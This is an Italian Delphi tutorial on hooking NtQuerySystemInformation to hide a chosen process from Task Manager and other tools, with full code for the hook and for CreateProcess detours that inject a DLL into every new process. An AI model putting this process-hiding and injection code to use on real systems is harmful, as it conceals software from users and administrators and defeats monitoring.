|
Nell' articolo articolo46.htm
abbiamo visto come realizzare un sistema di intercettazione delle api di Windows
coivolgendo tutti i processi: come esempio è stata utilizzata l' api
DrawFocusRect che consente di definire il rettangolo del focus su pulsanti,
elementi di una lista etc...: ogni pulsante od elemento di una lista, etc ...
avrà un rettangolino rosso al posto del classico rettangolino grigio (questo in
tutte le applicazioni). Per la realizzazione del pacchetto di intercettazione
delle api di Windows mi sono servito dell' ottima implementazione in Delphi
realizzata da Erik van Bilsen e disponibile all' url
www.thedelphimagazine.com, Issue 101, Jan
Si tratta del sorgente allegato alla rivista TheDelphiMagazine
del Gennaio 2004. Sono disponibili i sorgenti relativi alle varie
tematiche trattate tra cui anche l' esempio di implementazione della tecnica di
Detours. Bene, ora voglio intercettare un' altra api: l' api
NtQuerySystemInformation. Questa api è una delle cosidette Native Api e consente
di prelevare numerose informazioni relative al sistema (come spiega il nome
stesso del resto) e tra queste anche l' elenco dei processi come si è già visto
nell' articolo articolo44.htm. Il risultato della
query sul sistema è una sequnza di byte puntata dal secondo parametro: in
pratico il primo parametro della funzione specifica il tipo di informazione che
vogliamo prelevare ed il secondo parametro punta al risultato dell'
interrogazione. Bene ora il mio intento è intercettare questa api e nel caso in
cui sia stata chiamata per enumerare i processi (ricordiamo: valore del primo
parametro = SystemProcessesAndThreadsInformation) modificare il risultato
consentendo di nascondere un determinato processo. Visto che questa è l'api a
più basso livello che viene chiamata tutte le volte che qualsiasi applicazione
decide di enumerare i processi, tale processo risulterà invisibile in tutti gli
applicativi (Task Manager, Process Explorer, etc...). Come già visto in
precedenza il risultato restituito da NtQuerySystemInformation nel caso in cui
il primo parametro sia SystemProcessesAndThreadsInformation sarà una sequenza di
blocchi di byte ognuno dei quali descrive le caratteristiche di un singolo
processo: ognuno di questi blocchi può essere rapprentato dal record
_SYSTEM_PROCESSES i primi 4 byte di ogni blocco (campo NextEntryDelta del record
_SYSTEM_PROCESSES) rappresentano la distanza a cui si trova il blocco successivo
a partire da quello corrente. Bene ... Quando ad un certo punto arriviamo al
blocco corrispondente al processo che vogliamo nascondere, basta che
modifichiamo il valore di NextEntryDelta del blocco precedente sommandogli il
NextEntryDelta del blocco corrente (ossia quello che corrisponde al processo che
vogliiamo nascondere): in questo modo il blocco procedente a quello che vogliamo
nascondere punterà a quello successivo saltando quindi il blocco che vogliamo
nascondere; nel corso dell' enumerazione dei blocchi, quello che vogliamo
nascondere verrà effetivamente saltato. Riepilogando: la procedura che si dovrà
sostituire ad NtQuerySystemInformation dovrà chiamare la funzione originale e
sul risultato così ottenuto (2° parametro della funzione
NtQuerySystemInformation) dovrà effettuare la sostituzione appena descritta. Di
seguito l' implementazione della funzione
function DetourNtQuerySystemInformation(SystemInformationClass: SYSTEM_INFORMATION_CLASS;
SystemInformation: PVOID;
SystemInformationLength: ULONG;
ReturnLength: PULONG
): NTSTATUS; stdcall;
var
i,rl,cp : dword;
pinfo : PSystemProcesses;
pinfo_prec: PSystemProcesses;
buf : Pointer;
dim: dword;
begin
Result := TrampolineNtQuerySystemInformation(SystemInformationClass,
SystemInformation,
SystemInformationLength,
ReturnLength);
if SystemInformationClass <> SystemProcessesAndThreadsInformation then
exit;
if Result = 0 then
begin
cp := 0;
pinfo_prec := nil;
repeat
pinfo := PSystemProcesses(Pointer(dword(SystemInformation) + cp));
with pinfo^ do
begin
if (ProcessName.Buffer <> nil) then
begin
if LowerCase(WideCharToString(ProcessName.Buffer)) = 'notepad.exe' then
begin
if pinfo.NextEntryDelta = 0 then //siamo all' ultimo elemento
begin
if pinfo_prec <> nil then
pinfo_prec.NextEntryDelta := 0;
Exit;
end
else //siamo su un elemento interno qualsiasi
begin
pinfo_prec.NextEntryDelta := pinfo_prec.NextEntryDelta + pinfo.NextEntryDelta;
end;
end
else
begin
pinfo_prec := pinfo;
end;
end
end;
cp := cp + pinfo.NextEntryDelta;
until (pinfo.NextEntryDelta = 0);
end;
end;
Nell' esempio ho specificato notepad.exe come eseguibile da nascondere. Nel caso in cui si voglia nascondere il processo corrente si potrebbe usare il PID (pinfo^.ProcessId) e confrontarlo con il PID del processo corrente (GetCurrentProcessId). A questo punto però ho riscontrato un problema: quando lancio il Task Manager, i 2 tab "Prestazioni" e "Rete" non visualizzano nulla ed anche l' elenco dei processi e soggetto ad un visibile lampeggio costante. Analizzo un pò la situazione e verifico che si tratta di un fenomo che avviene solo quando il Task Manager viene aperto dopo che ho settato l' intercettazione dell' api; allora decido di rendere il caso della creazione del processo taskmgr.exe un caso particolare: la procedura che viene seguita quando si rileva una chiamata a CreateProcess è la seguente: creo il processo in forma "suspended" in maniera tale che il thread primario non esegua nulla inietto la dll nel processo risveglio il thread primario del processo con un ResumeThread nel caso di taskmgr.exe farò esattamente il contrario e cioè: creo il processo attendo che abbia terminato la sua inizializzazione con un WaitForInputHandle inietto la dll il sorgente delle 2 funzioni che sostituiscono le 2 CreateProcess diventerà
function DetourCreateProcessA(lpApplicationName: PAnsiChar;
lpCommandLine: PAnsiChar;
lpProcessAttributes,
lpThreadAttributes: PSecurityAttributes;
bInheritHandles: BOOL;
dwCreationFlags: DWORD;
lpEnvironment: Pointer;
lpCurrentDirectory: PAnsiChar;
const lpStartupInfo: TStartupInfo;
var lpProcessInformation: TProcessInformation
): BOOL; stdcall;
begin
if Pos('taskmgr.exe', LowerCase(lpCommandLine)) <> 0 then
begin
//creo il processo ed attendo che abbia terminato la sua inizializzazione
//tramite la WaitForInputIdle
TrampolineCreateProcessA(lpApplicationName,
lpCommandLine,
lpProcessAttributes,
lpThreadAttributes,
bInheritHandles,
dwCreationFlags,
lpEnvironment,
lpCurrentDirectory,
lpStartupInfo,
lpProcessInformation
);
WaitForInputIdle(lpProcessInformation.hProcess, INFINITE);
InjectDll(lpProcessInformation.dwProcessId, NomeDll);
end
else
begin
//creo il processo tenendo sospeso il suo thread primario in maniera che non esegua nulla
TrampolineCreateProcessA(lpApplicationName,
lpCommandLine,
lpProcessAttributes,
lpThreadAttributes,
bInheritHandles,
dwCreationFlags + CREATE_SUSPENDED,
lpEnvironment,
lpCurrentDirectory,
lpStartupInfo,
lpProcessInformation
);
InjectDll(lpProcessInformation.dwProcessId, NomeDll);
ResumeThread(lpProcessInformation.hThread);
end;
end;
function DetourCreateProcessW(lpApplicationName: PWideChar;
lpCommandLine: PWideChar;
lpProcessAttributes,
lpThreadAttributes: PSecurityAttributes;
bInheritHandles: BOOL;
dwCreationFlags: DWORD;
lpEnvironment: Pointer;
lpCurrentDirectory: PWideChar;
const lpStartupInfo: TStartupInfo;
var lpProcessInformation: TProcessInformation
): BOOL; stdcall;
begin
if Pos('taskmgr.exe', LowerCase(WideCharToString(lpCommandLine))) <> 0 then
begin
//creo il processo ed attendo che abbia terminato la sua inizializzazione
//tramite la WaitForInputIdle
TrampolineCreateProcessW(lpApplicationName,
lpCommandLine,
lpProcessAttributes,
lpThreadAttributes,
bInheritHandles,
dwCreationFlags,
lpEnvironment,
lpCurrentDirectory,
lpStartupInfo,
lpProcessInformation
);
WaitForInputIdle(lpProcessInformation.hProcess, INFINITE);
InjectDll(lpProcessInformation.dwProcessId, NomeDll);
end
else
begin
//creo il processo tenendo sospeso il suo thread primario in maniera che non esegua nulla
TrampolineCreateProcessW(lpApplicationName,
lpCommandLine,
lpProcessAttributes,
lpThreadAttributes,
bInheritHandles,
dwCreationFlags + CREATE_SUSPENDED,
lpEnvironment,
lpCurrentDirectory,
lpStartupInfo,
lpProcessInformation
);
InjectDll(lpProcessInformation.dwProcessId, NomeDll);
ResumeThread(lpProcessInformation.hThread);
end;
end;
Sorgenti |